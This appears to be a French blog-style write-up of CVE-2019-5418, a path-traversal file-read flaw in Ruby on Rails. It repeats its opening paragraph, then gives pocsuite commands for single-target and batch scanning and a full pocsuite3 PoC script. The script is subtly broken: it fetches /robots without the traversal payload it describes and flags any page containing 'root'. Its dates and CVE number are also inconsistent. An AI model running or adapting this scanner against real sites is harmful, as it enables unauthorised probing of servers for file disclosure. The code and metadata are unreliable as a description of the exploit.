
Ruby on Rails est un framework d'applications Web, un framework relativement récent construit sur le langage Ruby. Cette vulnérabilité est principalement due au fait que Ruby on Rails utilise le paramètre `render file` pour afficher des vues en dehors de l'application. Nous pouvons modifier le paquet de requête d'accès à un contrôleur, utiliser ".../.../.../.../" pour réaliser une traversée de répertoire, puis utiliser "{{" pour fermer le chemin de requête du modèle, de sorte que le fichier ciblé soit interprété comme un modèle externe.
Ruby on Rails est un framework d'applications Web, un framework relativement récent, construit sur le langage Ruby. Cette vulnérabilité provient principalement du fait que Ruby on Rails utilise le paramètre render file pour restituer des vues en dehors de l'application. Nous pouvons modifier le paquet de requête en accédant à un contrôleur, en utilisant ../../../../ pour effectuer un path traversal, puis en utilisant {{ pour fermer le chemin de recherche du template, de sorte que le fichier cible soit analysé comme un template externe.
Capture avec Burp

Validation unique : pocsuite -r CVE-2019-5418.py -u url

Scan groupé : pocsuite -r cve-2019-5118 -f taishi.txt

from collections import OrderedDict
from pocsuite3.api import (
Output,
POCBase,
POC_CATEGORY,
register_poc,
requests,
VUL_TYPE,
get_listener_ip,
get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
OptString,
OptDict,
OptIP,
OptPort,
OptBool,
OptInteger,
OptFloat,
OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD
# Ce qui précède ne sont que des importations de modules. Certains sont utilisés, d'autres grisés sont ceux dont le contenu n'est pas utilisé.
class DemoPOC(POCBase):
vulID = "1571" # ID ssvid. Si le PoC est soumis en même temps que la vulnérabilité, écrivez 0
version = "1" # Par défaut 1
author = "kailing0220" # Nom de l'auteur du PoC
vulDate = "2014-10-16" # Date de publication de la vulnérabilité. Si inconnue, écrivez la date d'aujourd'hui
createDate = "2014-10-16" # Date de création du PoC
updateDate = "2014-10-16" # Date de mise à jour du PoC, par défaut identique à la date de création
references = ["http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html"] # Source de l'adresse de la vulnérabilité, ne pas écrire pour un 0-day
name = "CVE-2019-5418 PoC" # Nom du PoC
appPowerLink = "http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html" # Page d'accueil du fournisseur de la vulnérabilité
appName = "CVE-2019-5418" # Nom de l'application vulnérable
appVersion = "all" # Versions affectées
vulType = VUL_TYPE.UNAUTHORIZED_ACCESS # Type de vulnérabilité, voir le tableau des types de vulnérabilités
category = POC_CATEGORY.EXPLOITS.WEBAPP
samples = [] # Exemples de tests, sites web testés avec succès par le PoC
install_requires = [] # Dépendances de modules tiers pour le PoC. Évitez autant que possible les modules tiers, référez-vous au « Guide des dépendances de modules tiers pour le PoC » si nécessaire
desc = """
Ruby on Rails est un framework d'applications Web, un framework relativement récent, construit sur le langage Ruby. Cette vulnérabilité provient principalement du fait que Ruby on Rails utilise le paramètre `render file` pour restituer des vues en dehors de l'application. Nous pouvons modifier le paquet de requête en accédant à un contrôleur, en utilisant `../../../../` pour effectuer un path traversal, puis en utilisant `{{` pour fermer le chemin de recherche du template, de sorte que le fichier cible soit analysé comme un template externe.
""" # Brève description de la vulnérabilité
pocDesc = """
Description d'utilisation du PoC
""" # Description d'utilisation du PoC
# Définitions de diverses variables, description du PoC
def _check(self):
# Code de vérification de la vulnérabilité
headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
result = []
# Gestion d'exception, au cas où le site serait fermé, impossible de faire la requête, le code planterait et ne pourrait pas s'exécuter
try:
url = self.url.strip() + "/robots" # self.url est la valeur du paramètre -u que vous spécifiez
res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=9)
# Vérifie si la vulnérabilité existe
if res.status_code == 200 and 'root' in res.text:
result.append(url)
except Exception as e:
print(e)
# Fait le pendant avec try...except. S'exécute quoi qu'il arrive, que vous ayez une erreur ou non
finally:
return result
def _verify(self):
# Mode vérification, appelle le code de vérification
result = {}
res = self._check() # res est la liste des résultats renvoyée
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['Info'] = self.name
result['VerifyInfo']['vul_url'] = self.url
result['VerifyInfo']['vul_detail'] = self.desc
return self.parse_verify(result)
def _attack(self):
# Mode attaque, appelle le mode vérification
return self._verify()
def parse_verify(self, result):
# Analyse de l'authentification, sortie
output = Output(self)
# Détermine s'il y a une vulnérabilité en fonction de la valeur booléenne de result
if result:
output.success(result)
else:
output.fail('Target is not vulnerable')
return output
def other_fuc():
pass
def other_utils_func():
pass
# Enregistre la classe DemoPOC
register_poc(DemoPOC)